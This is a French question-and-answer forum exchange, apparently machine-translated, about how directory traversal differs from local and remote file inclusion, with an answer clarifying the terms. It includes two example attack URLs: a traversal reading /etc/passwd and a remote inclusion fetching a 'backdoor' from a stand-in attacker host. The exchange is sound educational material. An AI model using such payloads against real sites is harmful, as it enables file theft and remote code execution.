Basé sur - cette question précédente , il semble que la différence entre le trafiquant de répertoires et l'inclusion de fichiers est la suivante:
Répertoire Traversal
http://www.example.com?file=../../etc/passwd
Inclusion de fichier
http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor
Ce lien , cependant, décrit ces concepts à l'aide des mots Inclusion de fichier local et Inclusion de fichier .
Donc est le premier exemple
le même que le deuxième exemple
i.e. LFI/RFI est juste une terminologie différente pour la même chose?
Votre confusion provient de votre compréhension excessive de la traversée de l'annuaire.
Traversal signifie que l'on peut lire dans un autre répertoire. Pas spécifiquement que l'on puisse lire un fichier.
LFI lit un fichier local, que ce soit dans le répertoire de travail actuel ou en utilisant Traversal, un fichier dans un autre répertoire.
RFI comprend un fichier d'une source externe.
Il est possible d'avoir une vulnérabilité LFI sans qu'il existe une vulnérabilité de trafiquant de répertoire (fichiers locaux dans le contexte actuel). Et, techniquement, il est possible qu'il puisse y avoir une vulnérabilité traversante qui n'entraîne pas une LFI.